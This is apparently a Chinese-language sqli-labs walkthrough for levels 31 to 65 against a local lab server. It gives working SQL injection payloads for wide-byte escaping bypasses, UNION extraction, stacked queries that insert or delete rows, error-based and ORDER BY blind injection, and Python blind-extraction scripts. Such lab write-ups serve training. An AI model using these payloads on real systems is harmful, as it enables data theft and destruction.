less-31
逻辑跟30关一样,只不过
$id = '"' .$id. '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
闭合的情况不一样。
payload:
http://192.168.211.145/sqli/Less-31/?id=1&id=")union select 1,database(),("3
less-32
首先测试?id=1'
可见在'前面加了反斜杠,尝试宽字节注入
原理:mysql在使用GBK编码的时候,会认为两个字符为一个汉字,例如%aa%5c就是一个汉字(前一个ascii码大于128才能到汉字的范围)。我们在过滤 ' 的时候,往往利用的思路是将 ' 转换为 ' (转换的函数或者思路会在每一关遇到的时候介绍)。
因此我们在此想办法将 ' 前面添加的 \ 除掉,一般有两种思路:
http://192.168.211.145/sqli/Less-32/?id=-1%df%27union select 1,database(),3%23
获取到数据。
waf如下:
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
return $string;
}
less-33
同样使用宽字节注入。
function check_addslashes($string)
{
$string= addslashes($string);
return $string;
}
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
单引号(')
双引号(")
反斜杠(\)
NULL
32关只不过是用正则去实现的类似addslashes(),函数的功能。
less-34
同样是宽字节注入,只不过是post注入,在这里需要使用burpsuite抓包修改
拿去数据的话构造payload还是一样的方法
less-35
这个题刚开始做的时候直接常规做法读了,读到了数据。
但是题目不应该是让这样操作的吧,还是看一下代码吧。
function check_addslashes($string)
{
$string = addslashes($string);
return $string;
}
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
这个题目感觉不应该在35关啊,数字型注入,只需要编码绕过就可以了啊。 payload:
http://192.168.211.145/sqli/Less-35/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273
less-36
这个题目与前两个不同的是使用的函数不同,
function check_quotes($string)
{
$string= mysql_real_escape_string($string);
return $string;
}
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
\x00
\n
\r
\
'
"
\x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
同样使用宽字节注入攻击。
less-37
这关的攻击姿势跟34关差不多,waf跟36关一样,攻击姿势看34关。
less-38
下面将会考查堆叠注入(Stacked injections).从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做stacked injection。
原理介绍:
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
例如: 新建一个表
select * from users where id=1;create table test like users;
执行成功,我们再去看一下是否新建成功表。
局限性:
堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。
虽然我们前面提到了堆叠查询可以执行任意的sql语句,但是这种注入方式并不是十分的完美的。在我们的web系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。
因此,在读取数据时,我们建议使用union(联合)注入。同时在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息。
payload:
http://192.168.211.145/sqli/Less-38/?id=1';insert into users(id,username,password) values (27,'test','test')--+
可见成功插入数据。
less-39
这道题目跟上道题目是一样的,唯一的区别是
http://192.168.211.145/sqli/Less-38/?id=1';insert into users(id,username,password) values (27,'test','test')--+
改为数字型注入了。
less-40
题目也一样,只不过语句
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
闭合一下就可以。
less-41
这关和less-39关一直,只不过错误没有回显。
http://192.168.211.145/sqli/Less-41/?id=1 ; insert into users(id,username,password) values (28,'test2','test2')--+
less-42
分析关键代码:
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
登陆的这里可以看到login_password登陆的时候并没有使用mysqli_real_escape_string来进行过滤,然后直接带去sql语句进行执行了。
那么就可以利用这里来进行注入了。
在进行post的时候,username随机就可以
login_password=';delete from users where username="test2";#
然后执行登陆之后
可见命令已经执行,test2用户已经被删除。
同时如果想拿数据的话可以
login_password=0' union select 1,database(),3;#
执行语句实际如下:
less-43
与上一关基本差不多,区别在于
$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
只需要再闭合)就可以。payload如下:
delete from users where username="123";#
拿数据的跟上面也差不多,闭合一下就OK,payload如下
0') union select 1,database(),3;#
less-44
这关与前两个的区别就在于没有报错回显,很难知道是怎么去闭合的,这里闭合的话常规闭合尝试就可以。
payload如下:
login_password=0' union select 1,database(),3;#
less-45
这题的性质跟上面那个题性质差不多,重点还是在闭合
login_password=0') union select 1,database(),3;#
less-46
从这关开始的几关要考查order by 注入。
这关有报错回显,直接报错注入。
可以看到已经报错,但是被解析了,右键查看一下源代码就能看到。
看一下代码
$sql = "SELECT * FROM users ORDER BY $id";
上面执行的语句:
mysql> select * from users order by 1 and extractvalue(1,concat(0x3c,(select da
tabase())));
ERROR 1105 (HY000): XPATH syntax error: '<security'
同时这里也可以也可以使用盲注,构造布尔条件,example如下:
?sort=1 and if(1=1, sleep(1), null)
sort=1 and (length(database())) = 8 and if(1=1, sleep(1), null)
sort=1 and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null)
less-47
与上一关的区别在于
$sql = "SELECT * FROM users ORDER BY '$id'";
闭合一下就可以。
sort=1' and extractvalue(1,concat(0x3c,(select database())))%23
?sort=1 and if(1=1, sleep(1), null)
sort=1' and (length(database())) = 8 and if(1=1, sleep(1), null)%23
sort=1' and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null)%23
less-48
这关没有报错回显,盲注
?sort=1 and if(1=1, sleep(1), null)
sort=1 and (length(database())) = 8 and if(1=1, sleep(1), null)
sort=1 and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null)
less-49
跟上一关差不多,字符串类型盲注
?sort=1' and if(1=1, sleep(1), null)%23
sort=1' and (length(database())) = 8 and if(1=1, sleep(1), null)%23
sort=1' and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null)%23
less-50
这里就不对stacked injection进行赘述了。利用payload
?sort=1;delete from users where username="admin2"
less-51
$sql="SELECT * FROM users ORDER BY '$id'";
注意单引号的闭合,攻击payload如下:
?sort=1';delete from users where username='admin4
less-52
跟50关差不多,只不过没回显。攻击payload一样。
less-53
这关跟52关一样,只不过是字符串类型的,注意一下闭合,payload用上面的就可以。
less-54
后面这几关主要一个进阶的过程,将前面所学到的知识融会贯通,熟练使用。 代码分析如下
if(!isset($_POST['answer_key']))
{
// resetting the challenge and repopulating the table .
if(isset($_POST['reset']))
{
setcookie('challenge', ' ', time() - 3600000);
echo "<font size=4>You have reset the Challenge</font><br>\n";
echo "Redirecting you to main challenge page..........\n";
header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );
//echo "cookie expired";
}
else
{
// Checking the cookie on the page and populate the table with random value.
if(isset($_COOKIE['challenge']))
{
$sessid=$_COOKIE['challenge'];
//echo "Cookie value: ".$sessid;
}
else
{
$expire = time()+60*60*24*30;
$hash = data($table,$col);
setcookie("challenge", $hash, $expire);
}
echo "<br>\n";
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
//update the counter in database
next_tryy();
//Display attempts on screen.
$tryyy = view_attempts();
echo "You have made : ". $tryyy ." of $times attempts";
echo "<br><br><br>\n";
//Reset the Database if you exceed allowed attempts.
if($tryyy >= ($times+1))
{
setcookie('challenge', ' ', time() - 3600000);
echo "<font size=4>You have exceeded maximum allowed attempts, Hence Challenge Has Been Reset </font><br>\n";
echo "Redirecting you to challenge page..........\n";
header( "refresh:3;url=../sql-connections/setup-db-challenge.php?id=$pag" );
echo "<br>\n";
}
// Querry DB to get the correct output
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "#00FFFF">';
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
// print_r(mysql_error());
echo "</font>";
}
}
else
{
echo "Please input the ID as parameter with numeric value as done in Lab excercises\n<br><br>\n</font>";
echo "<font color='#00FFFF': size=3>The objective of this challenge is to dump the <b>(secret key)</b> from only random table from Database <b><i>('CHALLENGES')</i></b> in Less than $times attempts<br>";
echo "For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.<br>" ;
}
}
?>
<?php
}
else
{
echo '<div style=" color:#00FFFF; font-size:18px; text-align:center">';
$key = addslashes($_POST['key']);
$key = mysql_real_escape_string($key);
//echo $key;
//Query table to verify your result
$sql="SELECT 1 FROM $table WHERE $col1= '$key'";
//echo "$sql";
$result=mysql_query($sql)or die("error in submittion of Key Solution".mysql_error());
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "#FFFF00">';
echo "\n<br><br><br>";
echo '<img src="../images/Less-54-1.jpg" />';
echo "</font>";
header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );
}
else
{
echo '<font color= "#FFFF00">';
echo "\n<br><br><br>";
echo '<img src="../images/slap1.jpg" />';
header( "refresh:3;url=index.php" );
//print_r(mysql_error());
echo "</font>";
}
}
?>
如果没有点提交按钮将会进入下面的else语句,有过滤,显然突破口在上面。如果点了提交将会setcookie,然后看到有个GET提交的id参数,然后有个更新数据库操作,这里限制了10次请求次数,否则更新数据库。
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
然后进入查询语句,没有过滤。
http://192.168.211.145/sqli/Less-54/index.php?id=-1%27%20union%20select%201,database(),%273 //查库
http://192.168.211.145/sqli/Less-54/index.php?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23 //查表
http://192.168.211.145/sqli/Less-54/index.php?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='ecimhbu7cx //查列
http://192.168.211.145/sqli/Less-54/index.php?id=-1' union select 1,group_concat(secret_NO71),3 from ecimhbu7cx%23 //查数据
less-55
这个题限制了请求14次,不过当测试出闭合情况之后后面就一切顺利了。 先尝试闭合
http://192.168.211.145/sqli/Less-55/?id=1'%23 //错误
http://192.168.211.145/sqli/Less-55/?id=1')%23 //错误
http://192.168.211.145/sqli/Less-55/?id=1)%23 //正确
尝试之后发现是用)闭合,
http://192.168.211.145/sqli/Less-55/?id=-1) union select 1,database(),3%23
后面的payload跟上一关差不多,加上)闭合就可以。
less-56
这几关都差不多,首先也是尝试闭合
http://192.168.211.145/sqli/Less-56/index.php?id=1')%23 //成功闭合
http://192.168.211.145/sqli/Less-56/index.php?id=-1') union select 1,database(),3%23
后面就常规注入就可以了。
less-57
这关是双引号闭合的
http://192.168.211.145/sqli/Less-57/?id=-1" union select 1,database(),3%23
less-58
关键代码如下
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "#00FFFF">';
$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
$pass = array_reverse($unames);
echo 'Your Login name : '. $unames[$row['id']];
echo "<br>";
echo 'Your Password : ' .$pass[$row['id']];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
可以看到查询之后并没有返回查询数据库当中的数据,不能使用union联合注入,但是有报错回显,可以使用报错注入。
http://192.168.211.145/sqli/Less-58/index.php?id=0' and extractvalue(1, concat(0x5c, (select database())))%23
less-59
与上一关的区别在于:
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
payload:
http://192.168.211.145/sqli/Less-59/index.php?id= 1 and extractvalue(1, concat(0x5c, (select database())))%23
less-60
与上一关的区别在于
$id = '("'.$id.'")';
攻击payload如下
http://192.168.211.145/sqli/Less-60/?id=1") and extractvalue(1, concat(0x5c, (select database())))%23
less-61
区别在于
$sql="SELECT * FROM security.users WHERE id=(('$id')) LIMIT 0,1";
攻击payload如下:
http://192.168.211.145/sqli/Less-61/?id=1'))and extractvalue(1, concat(0x5c, (select database())))%23
这几关都是有报错回显的,很容易根据报错语句去闭合。
less-62
接下来几关要在130次内完成盲注。
可以看到回显不一样,很容易构造布尔条件。
只不过有次数限制,很明显不能去爆破,
http://192.168.211.145/sqli/Less-62/index.php?id=1') and (length(database())=10)%23
手试几次查出数据库长度为10.
写脚本跑出数据库名字
# -*- coding: UTF-8 -*-
import requests
global num
url = "http://192.168.211.145/sqli/Less-62/index.php?id=1')"
def check(payload):
global num
num += 1
content = requests.get(url=payload).text
print payload
if "Angelina" in content:
return 1
else:
return 0
def exp():
result = ''
start = 30
end = 127
for i in range(1,11):
for j in range(start,end):
tmp = (start+end)/2
#print tmp
payload = url + "and ascii(substr(database(),%d,1))>%d--+" % (i,tmp)
if (end - start ==1):
payload = url + "and ascii(substr(database(),%d,1))=%d--+" % (i,tmp)
if check(payload):
result += chr(tmp)
start = 30
end = 127
break
else:
result += chr(tmp+1)
start = 30
end =127
break
if check(payload):
start = tmp
else:
end = tmp
print result
if __name__ == '__main__':
num =0
exp()
print num
可见爆破了77了跑出数据库名字。
中间就省略了,直接贴出跑字段的脚本
# -*- coding: UTF-8 -*-
import requests
global num
url = "http://192.168.211.145/sqli/Less-62/index.php?id=1')"
def check(payload):
global num
num += 1
content = requests.get(url=payload).text
print payload
if "Angelina" in content:
return 1
else:
return 0
def exp():
result = ''
start = 30
end = 127
for i in range(1,25):
for j in range(start,end):
tmp = (start+end)/2
#print tmp
payload = url + "and ascii(substr((select secret_28HE from qyzq3rflb5),%d,1))>%d--+" % (i,tmp)
if (end - start ==1):
payload = url + "and ascii(substr((select secret_28HE from qyzq3rflb5),%d,1))=%d--+" % (i,tmp)
if check(payload):
result += chr(tmp)
start = 30
end = 127
break
else:
result += chr(tmp+1)
start = 30
end =127
break
if check(payload):
start = tmp
else:
end = tmp
print result
if __name__ == '__main__':
num =0
exp()
print num
这里虽然限制了130次,但是还是可以用脚本跑出内容,还没再怎么缩小,想到之后更新。
less-63
这关跟上一关一样,唯一的区别在于
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
需要使用单引号闭合。
less-64
与前面一样,区别在于
$sql="SELECT * FROM security.users WHERE id=(($id)) LIMIT 0,1";
括号闭合一下。
less-65
这几关性质都一样,只不过闭合语句不同,不再赘述、
$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";